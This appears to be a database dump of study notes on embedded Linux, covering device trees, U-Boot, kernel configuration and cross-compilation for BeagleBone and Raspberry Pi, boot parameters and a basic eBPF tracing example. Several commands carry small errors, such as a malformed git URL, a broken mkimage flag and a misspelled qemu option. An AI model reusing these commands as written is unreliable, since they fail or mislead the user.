kernel command line.\n* Optionally, the location and size of a device tree binary.\n* Optionally, the location and size of an initial RAM disk, called the **initial RAM file system (initramfs)**. text txt 2024-07-28 10:07:43.369459 -4497 1238 * https://github.com - https://github.com/devicetree-org/devicetree-specification/releases text txt 2024-07-28 10:07:43.539654 -4498 1239 * Device tree begins with a root node.\n* **reg** property referes to a range of units in a register space. text txt 2024-07-28 10:07:44.234982 -4499 1239 /dts-v1/;\n/{\n model = "TI AM335x BeagleBone";\n compatible = "ti,am33xx";\n #address-cells = <1>;\n #size-cells = <1>;\n cpus {\n #address-cells = <1>;\n #size-cells = <0>;\n cpu@0 {\n compatible = "arm,cortex-a8";\n device_type = "cpu";\n reg = <0>;\n };\n };\n memory@80000000 {\n device_type = "memory";\n reg = <0x80000000 0x20000000>; /* 512 MB */\n };\n}; code txt 2024-07-28 10:07:44.256589 -4500 1240 * Labels used can be expressed in connections to reference to a node.\n* Labels are also referred to as **phandles**.\n* **interrupt-controller** property identifies not as interrupt controller.\n* **interrupt-parrent** property references the interrupt controller. text txt 2024-07-28 10:07:44.926568 -4501 1240 /dts-v1/;\n{\n intc: interrupt-controller@48200000 {\n compatible = "ti,am33xx-intc";\n interrupt-controller;\n #interrupt-cells = <1>;\n reg = <0x48200000 0x1000>;\n };\n lcdc: lcdc@48200000 {\n compatible = "ti,am33xx-tilcdc";\n reg = <0x4830e000 0x1000>;\n interrupt-parent = <&intc>;\n interrupts = <36>;\n ti,hwmods = "lcdc";\n status = "disabled";\n };\n}; code txt 2024-07-28 10:07:44.948881 -4502 1241 /include/ "vexpress-v2m.dtsi" code txt 2024-07-28 10:07:45.212148 -4503 1242 * The **status** is disabled, meaning that no device driver should be bound to it. text txt 2024-07-28 10:07:46.080014 -4504 1242 mmc1: mmc@48060000 {\n compatible = "ti,omap4-hsmmc";\n t.hwmods = "mmc1";\n ti,dual-volt;\n ti,needs-special-reset;\n ti,needs-special-hs-handling;\n dmas = <&edma_xbar 24 0 0 &edma_xbar 25 0 0>;\n dma_names = "tx", "rx";\n interrupts = <64>;\n reg = <0x48060000 0x1000>;\n status = "disabled";\n}; code txt 2024-07-28 10:07:46.101175 -4505 1242 * The **status** property is set to *okay*, which causes the MMC device driver to bind with this interface. text txt 2024-07-28 10:07:46.121655 -4506 1242 &mmc1 {\n status = "okay";\n bus-width = <0x4>;\n pinctrl-names = "default";\n pinctrl-0 = <&mmc1_pins>;\n cd-gpios = <&gpio0 6 GPIO_ACTIVE_LOW>;\n}; code txt 2024-07-28 10:07:46.14257 -4555 1266 `CONFIG_LOCALVERSION` option is the release information string to be appended to kernel release.\nKernel version can never be appended. text txt 2024-07-28 10:07:54.199562 -4507 1242 * The **mmc1** interface is connected to a different voltage regulator on the BeagleBone Black as expressed in am335x-boneblack.dts, which associates it with the voltage regulator via the **vmmcsd_fixed** label: text txt 2024-07-28 10:07:46.163684 -4508 1242 &mmc1 {\n vmmc-supply = <&vmmcsd_fixed>;\n}; code txt 2024-07-28 10:07:46.183902 -4509 1243 dtc beaglebone-black.dts -o beaglebone-black.dtb code txt 2024-07-28 10:07:46.403942 -4510 1244 git clone git:://git.denx.de/u-boot.git\ncd u-boot\ngit checkout v2021.01\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- am335x_emv_defconfig\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- -j2\nsudo fdisk /dev/sda\nmkfs.vfat -F 16 -n boot /dev/sda1\nmkfs.ext4 -L rootfs /dev/sda2\nmount /dev/sda1 /run/media/brian/boot\ncp MLO u-boot.img /run/media/brian/boot\numount /run/media/brian/boot\npicocom -b 115200 /dev/ttyUSB0 code txt 2024-07-28 10:07:47.019788 -4511 1244 The results of the compilation: text txt 2024-07-28 10:07:47.041243 -4512 1244 * `u-boot`: U-Boot in ELF object format, suitable for use with a debugger\n* `u-boot.map`: The symbol table\n* `u-boot.bin`: U-Boot in raw binary format, suitable for running on your device\n* `u-boot.img`: This is `u-boot.bin` with a U-Boot header added, suitable for uploading to a running copy of U-Boot\n* `u-boot.srec`: U-Boot in Motoral S-record (**SRECORD** or **SRE**) format, suitable for transferring over a serial connection\n* `MLO`: The BeagleBone Black also requires a **SPL** which is built here text txt 2024-07-28 10:07:47.063237 -4513 1245 Read `0x200000` bytes from offset `0x400000` from the start of the NAND memory into RAM address `0x82000000` text txt 2024-07-28 10:07:47.349398 -4514 1245 nand read 82000000 400000 200000 code txt 2024-07-28 10:07:47.370202 -4515 1246 setenv foo bar\nprintenv foo text txt 2024-07-28 10:07:47.671954 -4516 1246 setenv foo # reset foo\nprintenv # print all environment variables code txt 2024-07-28 10:07:47.692792 -4517 1247 mkimage --help\nmkimage -A arm -O linux -T kernel -C gzip -a 0x80008000 0e 0x80008000 -n 'Linux' -d zImage uImage code txt 2024-07-28 10:07:47.963648 -4518 1248 mmc rescan\nfatload mmc 0:1 82000000 uimage\niminfo 82000000 code txt 2024-07-28 10:07:48.220749 -4519 1249 setenv ipaddr 192.168.1.12\nsetenv serverip 192.168.1.18\ntftp 82000000 uImage\ntftpboot 82000000 uimage\nnandecc hw\nnand erase 280000 400000\nnand write 82000000 280000 400000\nnand read 82000000 280000 400000 code txt 2024-07-28 10:07:48.631199 -4520 1250 # bootm [kernel address] [ramdist address] [dtb address]\nbootm 82000000 - 83000000 code txt 2024-07-28 10:07:48.871037 -4521 1251 setenv bootcmd nand read 82000000 400000 200000\\\\;bootm 82000000 code txt 2024-07-28 10:07:49.114712 -4522 1252 To follow kernel mainline, below repository should be used: text txt 2024-07-28 10:07:49.508498 -4523 1252 git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git code txt 2024-07-28 10:07:49.528883 -4524 1252 To use long-term releases of the kernel, below repository should be used instead: text txt 2024-07-28 10:07:49.549176 -4525 1252 git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git code txt 2024-07-28 10:07:49.569314 -4526 1253 Follow up overviews of each kernel release on **KernelNewbies** to see changes. text txt 2024-07-28 10:07:49.772849 -4527 1254 * `arch`: architecture specific files.\n* `Documentation`: main kernel documentation.\n* `drivers`: device drivers, each type having specific subdirectory.\n* `fs`: filesystem code.\n* `include`: kernel header files, including required headers for building the toolchain.\n* `init`: kernel startup code.\n* `kernel`: core functions, including scheduling, locking, timers, power management, and debug/trace code.\n* `mm`: memory management.\n* `net`: network protocols.\n* `scripts`: useful scripts, including the **device tree compiler**.\n* `tools`: useful tools, including the Linux performance counters tool, `perf`. text txt 2024-07-28 10:07:50.137979 -4528 1255 The configuration mechanism is called `Kconfig`, and the build system that it integrates with it is called `Kbuild`. text txt 2024-07-28 10:07:50.372422 -4529 1256 The value you put into `ARCH` is one of the subdirectories you find in the `arch` directory in the kernel source tree. text txt 2024-07-28 10:07:50.575556 -4530 1257 Each `config` identifier is constructed as follows: text txt 2024-07-28 10:07:51.048982 -4531 1257 menu "Menu Title"\n[...]\nconfig EXAMPLE\n bool "config inline description"\n default [y,m,n]\n help\n multi-line config description.\n[...]\nendmenu code txt 2024-07-28 10:07:51.069812 -4532 1257 This config can be found in `.config` file as `CONFIG_EXAMPLE=y`. text txt 2024-07-28 10:07:51.09034 -4533 1258 * `bool`: either `y` or not defined.\n* `tristate`: feature can be built as a kernel module or built into the main kernel image.\n* `int`: integer value using decimal notation.\n* `hex`: unsigned integer value using hexadecimal notation.\n* `string`: string value. text txt 2024-07-28 10:07:51.33245 -4534 1259 Dependencies can be expressed by `depends on` construct: text txt 2024-07-28 10:07:51.879239 -4535 1259 config EXAMPLE\n tristate "config inline description"\n depends on DEPENDENCY code txt 2024-07-28 10:07:51.900018 -4536 1259 `EXAMPLE` will not be shown in menu if `DEPENDENCY` is not set. text txt 2024-07-28 10:07:51.920378 -4537 1259 Reverse dependencies can be expressed by `select` construct, as an example in `arch/arm` text txt 2024-07-28 10:07:51.93998 -4538 1259 config ARM\n bool\n default y\n select ARCH_KEEP_MEMBLOCK\n ... code txt 2024-07-28 10:07:51.960898 -4539 1259 Selecting any config as reverse dependency, sets its value as `y`. text txt 2024-07-28 10:07:51.980754 -4540 1260 * `menuconfig`: requires `ncurses`, `flex`, and `bison` packages.\n* `xconfig`\n* `gconfig` text txt 2024-07-28 10:07:52.197062 -4541 1261 There is a set of known working configuration files in `arch/$ARCH/configs`, each containing suitable configuration values for a single SoC or a group of SoCs. text txt 2024-07-28 10:07:52.613876 -4542 1261 To make configuration for `arm64` SoCs: text txt 2024-07-28 10:07:52.634836 -4543 1261 make ARCH=arm64 defconfig code txt 2024-07-28 10:07:52.655632 -4544 1261 To make configuration for SoC of `raspberry pi zero`, considering its `bcm2835` 32-bits processor: text txt 2024-07-28 10:07:52.675758 -4545 1261 make ARCH=arm bcm2835_defconfig code txt 2024-07-28 10:07:52.696267 -4546 1262 `ARCH` environment variable needs to be set for almost all `make` targets: text txt 2024-07-28 10:07:52.993178 -4547 1262 make ARCH=arm menuconfig code txt 2024-07-28 10:07:53.014705 -4548 1263 The `oldconfig` target validates modified `.config`. text txt 2024-07-28 10:07:53.426943 -4549 1263 make ARCH=arm oldconfig code txt 2024-07-28 10:07:53.448636 -4550 1263 Use `olddefconfig` target to use a preconfigured `.config` file and set new parameters as default. text txt 2024-07-28 10:07:53.469887 -4551 1263 make ARCH=arm olddefconfig code txt 2024-07-28 10:07:53.490744 -4552 1264 A header file `include/generated/autoconf.h` contains `#define` preprocessors to be included in the kernel source. text txt 2024-07-28 10:07:53.696712 -4553 1265 This is reported at runtime through the `uname` command.\nIt is also used in naming the directory where kernel modules are stored. text txt 2024-07-28 10:07:53.988365 -4554 1265 make ARCH=arm kernelversion\nmake ARCH=arm kernelrelease code txt 2024-07-28 10:07:54.009157 -4556 1267 `Kbuild` takes configurations from `.config` file and follows below pattern in make files such as `drivers/char/Makefile`: text txt 2024-07-28 10:07:54.47451 -4557 1267 obj-y += mem.o random.o\nobj-$(CONFIG_TTY_PRINTK) += ttyprintk.o code txt 2024-07-28 10:07:54.493944 -4558 1268 * `ARCH`: architecture name\n* `CROSS_COMPILE`: toolchain prefix ending with a hyphen, visible in `PATH` text txt 2024-07-28 10:07:54.684764 -4559 1269 * **U-Boot**: traditionally `uImage`, but newer versions can load `zImage`\n* **x86 targets**: `bzImage`\n* **Most other bootloaders**: `zImage` text txt 2024-07-28 10:07:55.022086 -4560 1269 make -j $(($(nproc) / 2)) ARCH=arm CROSS_COMPILE=armv6-rpi-linux-gnueabihf- zImage code txt 2024-07-28 10:07:55.043595 -4561 1270 The relocation address is coded into the `uImage` header by the `mkimage` command when the kernel is built, but fails with multiple reloaction addresses. text txt 2024-07-28 10:07:55.287568 -4562 1270 make -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- LOADADDR=0x80008000 uImage code txt 2024-07-28 10:07:55.309983 -4563 1271 * `vmlinux`: the kernel as an ELF binary, suited for debugging by `kgdb`.\n* `System.map`: the symbol table in a human-readable form.\n* `arch/$ARCH/boot`: the directory containing vmlinux image converted for bootloaders. text txt 2024-07-28 10:07:55.591019 -4564 1271 * `arch/$ARCH/boot/Image`: `vmlinux` converted to raw binary format.\n* `zImage`: compressed version of `Image`.\n* `uImage`: `zImage` plus a 64-byte U-Boot header. text txt 2024-07-28 10:07:55.612493 -4565 1272 By enabling `CONFIG_DEBUG_INFO` configuration option. text txt 2024-07-28 10:07:55.783328 -4566 1273 make -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- V=1 zImage code txt 2024-07-28 10:07:56.019872 -4567 1274 Compiling device trees: text txt 2024-07-28 10:07:56.527624 -4568 1274 make ARCH=arm dtbs code txt 2024-07-28 10:07:56.546945 -4569 1274 Compiling modules: text txt 2024-07-28 10:07:56.566891 -4570 1274 make -j 8 ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- modules code txt 2024-07-28 10:07:56.587333 -4571 1274 Install modules: text txt 2024-07-28 10:07:56.60906 -4572 1274 make -j 8 ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- INSTALL_MOD_PATH=/run/media/user/rootfs install_modules code txt 2024-07-28 10:07:56.630332 -4573 1275 * `clean`: remove object files and most intermediates.\n* `mrproper`: remove all intermediate files and `.config` file.\n* `distclean`: remove all, also delete editor backup files, patch files, and other artifacts. text txt 2024-07-28 10:07:56.856702 -4574 1276 Raspberry Pi is a little different here. So prebuilt binaries or patched sources are preferred: text txt 2024-07-28 10:07:57.979921 -4575 1276 * Clone a stable branch of Raspberry Pi Foundations' kernel fork into a `linux` directory.\n* Export contents of the `boot` subdirectory from Raspberry Pi Foundation's `firmware` repo to a `boot` directory.\n* Delete existing kernel images, device tree blobs, and device tree overlays from the `boot` directory.\n* From the `linux` directory, build the 64-bit kernel, modules, and device tree for the Raspberry Pi 4.\n* Copy the newly built kernel image, device tree blobs, and device tree overlays from `arch/arm64/boot/` to the `boot` directory.\n* Write `config.txt` and `cmdline.txt` files out to the boot directory for the Raspberry Pi's bootloader to read and pass to the kernel. text txt 2024-07-28 10:07:58.000905 -4576 1276 Prebuilt toolchain: text txt 2024-07-28 10:07:58.021865 -4577 1276 https://developer.arm.com - https://developer.arm.com/-/media/Files/downloads/gnu-a/10.3-2021.07/binrel/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu.tar.xz?rev=1cb9c51b94f54940bdcccd791451cec3&hash=A56CA491FA630C98F7162BC1A302F869 text txt 2024-07-28 10:07:58.042473 -4578 1276 * Clone a stable branch of Raspberry Pi Foundations' kernel fork into a `linux` directory.\n* Export contents of the `boot` subdirectory from Raspberry Pi Foundation's `firmware` repo to a `boot` directory.\n* Delete existing kernel images, device tree blobs, and device tree overlays from the `boot` directory.\n* From the `linux` directory, build the 64-bit kernel, modules, and device tree for the Raspberry Pi 4.\n* Copy the newly built kernel image, device tree blobs, and device tree overlays from `arch/arm64/boot/` to the `boot` directory.\n* Write `config.txt` and `cmdline.txt` files out to the boot directory for the Raspberry Pi's bootloader to read and pass to the kernel. text txt 2024-07-28 10:07:58.064803 -4579 1276 Patched kernel source for Raspberry Pi: text txt 2024-07-28 10:07:58.085223 -4580 1276 https://github.com - https://github.com/raspberrypi/linux.git text txt 2024-07-28 10:07:58.105745 -4581 1276 cd ~\nwget [AArch64 GNU/Linux target (aarch64-none-linux-gnu)]\ntar xf archive.tar.xz\nmv gcc-executable gcc-arm-aarch32-none-linux-gnu\nsudo pacman -S subversion openssl\ngit clone --depth 1 -b rpi-4.5.y https://github.com - https://github.com/raspberrypi/linux.git\nsvn export https://github.com - https://github.com/raspberrypi/firmware/trunk/boot\nrm boot/kernel*\nrm boot/*.dtb\nrm boot/overlays/*.dtbo text txt 2024-07-28 10:07:58.127431 -4582 1276 PATH=~/gcc-arm-aarch64-none-linux-gnu/bin/:$PATH\ncd linux\nmake ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu- bcm2711_defconfig\nmake -j $(($(nproc)/2)) ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu-\ncp arch/arm64/boot/Image ../boot/kernel8.img\ncp arch/arm64/boot/dts/overlays/*.dtbo ../boot/overlays/\ncp arch/arm64/boot/dts/broadcom/*.dtb ../boot\necho 'enable_uart=1' > ../boot/config.txt\necho 'arm_64bit=1' >> ../boot/config.txt\necho 'console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootwait' > ../boot/cmdline.txt code txt 2024-07-28 10:07:58.149162 -4583 1277 Prebuilt toolchain:\n[AArch32 target with hard float (arm-none-linux-gnueabihf)](AArch32 target with hard float (arm-none-linux-gnueabihf)) text txt 2024-07-28 10:07:58.832085 -4584 1277 cd ~\nwget [AArch32 GNU/Linux target (aarch32-none-linux-gnu)]\ntar xf archive.tar.xz\nmv gcc-executable gcc-arm-aarch32-none-linux-gnu\nsudo pacman -S subversion openssl\ngit clone --depth 1 -b rpi-4.5.y https://github.com - https://github.com/raspberrypi/linux.git\nsvn export https://github.com - https://github.com/raspberrypi/firmware/trunk/boot\nrm boot/kernel*\nrm boot/*.dtb\nrm boot/overlays/*.dtbo text txt 2024-07-28 10:07:58.853843 -4585 1277 PATH=~/gcc-arm-aarch32-none-linux-gnu/bin/:$PATH\ncd linux\nmake ARCH=arm CROSS_COMPILE=aarch32-none-linux-gnu- bcm2711_defconfig\nmake -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=aarch32-none-linux-gnu-\ncp arch/arm/boot/Image ../boot/kernel8.img\ncp arch/arm/boot/dts/overlays/*.dtbo ../boot/overlays/\ncp arch/arm/boot/dts/broadcom/*.dtb ../boot\necho 'enable_uart=1' > ../boot/config.txt\necho 'console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootwait' > ../boot/cmdline.txt code txt 2024-07-28 10:07:58.875498 -4586 1278 cd linux-stable\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- distclean\nmake ARCH=arm multi_v7_defconfig\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- zImage -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- modules -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- dts code txt 2024-07-28 10:07:59.20933 -4587 1279 cd linux-stable\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- distclean\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- zImage -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- modules -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- dts code txt 2024-07-28 10:07:59.513999 -4588 1280 Nothing.\nRaspberry Pis use a proprietary bootloader provided by Broadcom instead of U-Boot.\nKernel will boot and ends with a kernel panic because of the abcense of root filesystem. text txt 2024-07-28 10:07:59.764288 -4627 1293 b.trace_print() code txt 2024-07-28 10:08:15.260015 -4589 1281 fatload mmc 0:1 0x80200000 zImage\nfatload mmc 0:1 0x80f00000 am335x-boneblack.dtb\nsetenv bootargs console=ttyo0\nbootz 0x80200000 - 0x80f00000 code txt 2024-07-28 10:08:00.04649 -4590 1282 QEMU_AUDIO_DRV=none qemu-system-arm -m 256M -nographic -M versatilepb -kernel zImage -apend "console=ttyAMA0,115200" -dtb versatile-pb.dts" code txt 2024-07-28 10:08:00.263031 -4591 1283 The kernel has to mount a root filesystem and execute the first user space process via a ramdisk or by mounting a real filesystem on a block device. text txt 2024-07-28 10:08:00.630642 -4592 1283 The code for this process is in `init/main.c`, starting with `rest_init()` function which creates the first thread with PID 1 and runs the code in `kernel_init()`. text txt 2024-07-28 10:08:00.651161 -4593 1283 If there is a ramdisk, it will try to execute the program `/init`, which will take on the task of setting up the user space. text txt 2024-07-28 10:08:00.672321 -4594 1283 If the kernel fails to find and run `/init`, it tries to mount a filesystem by calling the `prepare_namespace()` function in `init/do_mounts.c`. text txt 2024-07-28 10:08:00.693751 -4595 1283 root=/dev/ mmcblk0p1 code txt 2024-07-28 10:08:00.715552 -4596 1284 * `debug`: set console log level.\n* `init`: the `init` program to run from a mounted root filesystem which defaults to `/sbin/init`.\n* `lpj`: sets `loops_per_jiffy` to a given constant.\n* `panic`: behavior when the kernel panics. above zero is number of seconds before reboot, zero waits forever, and below zero reboots instantly.\n* `quiet`: no log levels.\n* `rdinit`: the `init` program to run from a ramdisk. defaults to `/init`.\n* `ro`: mounts root device as read-only.\n* `root`: the device on which to mount the root filesystem.\n* `rootdelay`: number of seconds to wait before mounting root device.\n* `rootfstype`: filesystem type for the root device.\n* `rootwait`: wait indefinitely for the root device to be detected.\n* `rw`: mounts root device as read-write (default). text txt 2024-07-28 10:08:01.093755 -4597 1285 By setting `lpj=4980736` to the kernel parameter.\nThe number should be different on each device. text txt 2024-07-28 10:08:01.282708 -4598 1286 code txt 2024-07-28 10:08:01.478188 -4599 1287 /dts-v1/; text txt 2024-07-28 10:08:03.189998 -4600 1287 #include "am33xx.dtsi"\n#include "am335x-bone-common.dtsi"\n#include "am335x-boneblack-common.dtsi" text txt 2024-07-28 10:08:03.210736 -4601 1287 / {\n model = "Nova";\n compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx";\n}; text txt 2024-07-28 10:08:03.23158 -4602 1287 / {\n model = "Nova";\n compatible = "ti,nova", "ti,am33xx";\n};\n[…] code txt 2024-07-28 10:08:03.252468 -4603 1287 make ARCH=arm nova.dtb code txt 2024-07-28 10:08:03.273014 -4604 1287 *arch/arm/boot/dts/Makefile*\n[…]\ndtb-$(CONFIG_SOC_AM33XX) += nova.dtb\n[…] code txt 2024-07-28 10:08:03.29378 -4605 1287 *arch/arm/mach-omap2/board-generic.c*\n#ifdef CONFIG_SOC_AM33XX\nstatic const char *const am33xx_boards_compat[] __initconst = {\n "ti,am33xx",\n NULL,\n}; text txt 2024-07-28 10:08:03.314129 -4606 1287 DT_MACHINE_START(AM33XX_DT, "Generic AM33XX (Flattened Device Tree)")\n .reserve = omap_reserve,\n .map_io = am33xx_map_io,\n .init_early = am33xx_init_early,\n .init_machine = omap_generic_init,\n .init_late = am33xx_init_late,\n .init_time = omap3_gptimer_timer_init,\n .dt_compat = am33xx_boards_compat,\n .restart = am33xx_restart,\nMACHINE_END text txt 2024-07-28 10:08:03.334846 -4607 1287 static const char *const nova_compat[] __initconst = {\n "ti,nova",\n NULL,\n}; text txt 2024-07-28 10:08:03.355074 -4608 1287 DT_MACHINE_START(NOVA_DT, "Nova board (Flattened Device Tree)")\n .reserve = omap_reserve,\n .map_io = am33xx_map_io,\n .init_early = am33xx_init_early,\n .init_machine = omap_generic_init,\n .init_late = am33xx_init_late,\n .init_time = omap3_gptimer_timer_init,\n .dt_compat = nova_compat,\n .restart = am33xx_restart,\nMACHINE_END\n#endif code txt 2024-07-28 10:08:03.376832 -4609 1287 *drivers/net/ethernet/ti/cpsw-common.c*\nint ti_cm_get_macid(struct device *dev, int slave, u8 *mac_addr)\n{\n […]\n if (of_machine_is_compatible("ti,am33xx"))\n return cpsw_am33xx_cm_get_macid(dev, 0x630, slave, mac_addr);\n […]\n} code txt 2024-07-28 10:08:03.399058 -4610 1288 If your program is compiled with the GNU Compiler Collection (GCC), using the\n`-g3` and `-gdwarf-2` options, GDB understands references to C preprocessor\nmacros. text txt 2024-07-28 10:08:03.774799 -4611 1289 With `eBPF` we can add instrumentation into the kernel to observe application interactions with the kernel and intercept what would be involved if we wanted to modify the kernel, adding new code to create some kind of output whenever that system call is invoked. text txt 2024-07-28 10:08:13.29623 -4612 1290 The `eBPF` verifier, which ensures that an eBPF program is loaded only if it’s safe to run—it won’t crash the machine or lock it up in a hard loop, and it won’t allow data to be compromised. text txt 2024-07-28 10:08:13.460684 -4613 1291 `eBPF` programs can be loaded into and removed from the kernel dynamically.\nOnce they are attached to an event, they’ll be triggered by that event regardless of what caused that event to occur.\nThis is a huge advantage compared to upgrading the kernel and then having to reboot the machine to use its new functionality. text txt 2024-07-28 10:08:13.690536 -4614 1292 Once loaded and JIT-compiled, the program runs as native machine instructions on the CPU.\nAdditionally, there’s no need to incur the cost of transitioning between kernel and user space (which is an expensive operation) to handle each event. text txt 2024-07-28 10:08:13.906838 -4615 1293 #!/usr/bin/python3 text txt 2024-07-28 10:08:15.007949 -4616 1293 from bcc import BPF text txt 2024-07-28 10:08:15.02831 -4617 1293 program = r"""\nint sample(void *ctx)\n{\n bpf_trace_printk("Sample BPF");\n return 0;\n}\n""" text txt 2024-07-28 10:08:15.048911 -4618 1293 try:\n b = BPF(text = program)\n syscall = b.get_syscall_fnname("execve")\n b.attach_kprobe(event = syscall, fn_name = "sample")\n b.trace_print()\nexcept KeyboardInterrupt as e:\n print()\n exit() code txt 2024-07-28 10:08:15.069942 -4619 1293 The entire `eBPF` program is defined as a string called `program` and is compiled in the constructor of `BPF` class. text txt 2024-07-28 10:08:15.090662 -4620 1293 `eBPF` programs need to be attached to an event, which in this case it is attached to the system call `execve`, which is the syscall used to execute a program.\nWhenever anything or anyone starts a new program executing on this machine, that will call `execve()`, which will trigger the `eBPF` program. text txt 2024-07-28 10:08:15.11156 -4621 1293 Although the `execve()` name is a standard interface in Linux, the name of the function that implements it in the kernel depends on the chip architecture, but BCC gives us a convenient way to look up the function name for the machine we’re running on: text txt 2024-07-28 10:08:15.132909 -4622 1293 syscall = b.get_syscall_fnname("execve") code txt 2024-07-28 10:08:15.152979 -4623 1293 Now, syscall represents the name of the kernel function that is going to attach to, using a kprobe: text txt 2024-07-28 10:08:15.174337 -4624 1293 b.attach_kprobe(event=syscall, fn_name="hello") code txt 2024-07-28 10:08:15.196089 -4625 1293 At this point, the `eBPF` program is loaded into the kernel and attached to an event, so the program will be triggered whenever a new executable gets launched on the machine. text txt 2024-07-28 10:08:15.217429 -4626 1293 The tracing function will loop indefinitely, displaying any trace: text txt 2024-07-28 10:08:15.239489 -4628 1294 `CAP_PERFMON` and `CAP_BPF` are both required to load tracing programs.\n`CAP_NET_ADMIN` and `CAP_BPF` are both required for loading networking programs. text txt 2024-07-28 10:08:15.447169 -4629 1295 The `bpf_trace_printk()` helper function in the kernel always sends output to the same predefined pseudofile `/sys/kernel/debug/tracing/trace_pipe`. text txt 2024-07-28 10:08:15.685932 -4630 1295 You’ll need root privileges to access it. text txt 2024-07-28 10:08:15.707304 -4631 1296 BPF maps text txt 2024-07-28 10:08:15.906233 -4632 1297 A map is a data structure that can be accessed from an `eBPF` program and from user space. text txt 2024-07-28 10:08:16.077228 -4633 1298 git clone https://git.kernel.org - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git code txt 2024-07-28 10:08:16.906933 -4634 1298 The cloning process can be trimmed by setting `--depth 1` option. text txt 2024-07-28 10:08:16.927537 -4635 1298 It is best practice to use **LTS** kernel releases for production, so checkout to the latest stable tag: text txt 2024-07-28 10:08:16.9482 -4636 1298 git checkout v5.4 code txt 2024-07-28 10:08:16.968377 -4637 1299 * `arch/`: To be as generic as possible, architecture-specific code.\n* `block/`: Codes for block storage devices.\n* `crypto/`: Cryptographic API and the encryption algorithm's code.\n* `certs/`: Certificates and sign files to enable a module signature to make the kernel load signed modules.\n* `documentation/`: Descriptions of the APIs that are used for different kernel frameworks and subsystems.\n* `drivers/`: Device driver, organized into various subdirectories.\n* `fs/`: Implementations of different filesystems that the kernel supports, such as NTFS, FAT, ETX{2,3,4}, sysfs, procfs, NFS, and so on.\n* `include/`: Kernel header files.\n* `init/`: Initialization and startup code.\n* `ipc/`: Implementation of the inter-process communication (IPC) mechanisms, such as message queues, semaphores, and shared memory.\n* `kernel/`: Architecture-independent portions of the base kernel.\n* `lib/`: Library routines and some helper functions including generic **kernel object (kobject)** handlers and **cyclic redundancy code (CRC)** computation functions.\n* `mm/`: Memory management code.\n* `net/`: Networking (whatever network type it is) protocol code.\n* `samples/`: Device driver samples for various subsystems.\n* `scripts/`: Scripts and tools that are used alongside the kernel.\n* `security/`: Security framework code.\n* `sound/`: Audio subsystem code.\n* `tools/`: Linux kernel development and testing tools for various subsystems, such as USB, vhost test modules, GPIO, IIO, and SPI, among others.\n* `usr/`: `initramfs` implementation.\n* `virt/`: Virtualization directory, which contains the kernel virtual machine (KVM) module for a hypervisor. text txt 2024-07-28 10:08:17.511124 -4638 1300 Cross-compiler prefix and the architecture of the target must be specified. text txt 2024-07-28 10:08:17.9332 -4639 1300 ARCH= CROSS_COMPILE= make help code txt 2024-07-28 10:08:17.95328 -4640 1300 If these variables are not specified, the native host machine is going to be targeted. text txt 2024-07-28 10:08:17.974261 -4641 1300 make help code txt 2024-07-28 10:08:17.993492 -4642 1300 When `ARCH` is omitted or not set, it will default to the host where `make` is executed. It will default to `$(uname -m)`.\nWhen `CROSS_COMPILE` is omitted or not set, `$(CROSS_COMPILE)gcc` will result in `gcc`, and will be the same for other tools, for example `$(CROSS_COMPILE)ld` will result in `ld`. text txt 2024-07-28 10:08:18.015138 -4643 1301 make menuconfig # ncurses-based interface\nmake xconfig # X-based interface code txt 2024-07-28 10:08:18.247242 -4644 1302 Selected options will be stored in `.config` file, at the root of the source tree. text txt 2024-07-28 10:08:18.420045 -4645 1303 It is very difficult to know which configuration is going to work on your platform.\nIn most cases, there will be no need to start a configuration from scratch.\nThere are default and functional configuration files available in each arch directory that you can use as a starting point (it is important to start with a configuration that already works): text txt 2024-07-28 10:08:18.920124 -4646 1303 ls arch//configs/ code txt 2024-07-28 10:08:18.940753 -4647 1303 The kernel configuration command, given a default configuration file, is as follows: text txt 2024-07-28 10:08:18.960309 -4648 1303 ARCH= make \nARCH=x86_64 make defconfig\nARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnueabi- make defconfig\nARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- make bcm2835_defconfig code txt 2024-07-28 10:08:18.980628 -4649 1304 Running `make defconfig` or any alternatives will generate a new `.config` file in the main (root) directory, while the old `.config` will be renamed `.config.old`. text txt 2024-07-28 10:08:19.149469 -4650 1305 make savedefconfig code txt 2024-07-28 10:08:19.634851 -4651 1305 This command will create a minimal (since it won't store non-default settings) configuration file.\nThe generated default configuration file will be called `defconfig` and stored at the root of the source tree.\nYou can store it in another location using the following command: text txt 2024-07-28 10:08:19.6554 -4652 1305 mv defconfig arch//configs/myown_defconfig code txt 2024-07-28 10:08:19.67454 -4653 1305 This way, you can share a reference configuration inside the kernel sources and other developers can now get the same `.config` file as you by running the following command: text txt 2024-07-28 10:08:19.694299 -4654 1305 ARCH= make myown_defconfig code txt 2024-07-28 10:08:19.714566 -4655 1306 Assuming that host is a 64bit machine, `ARCH` is set to 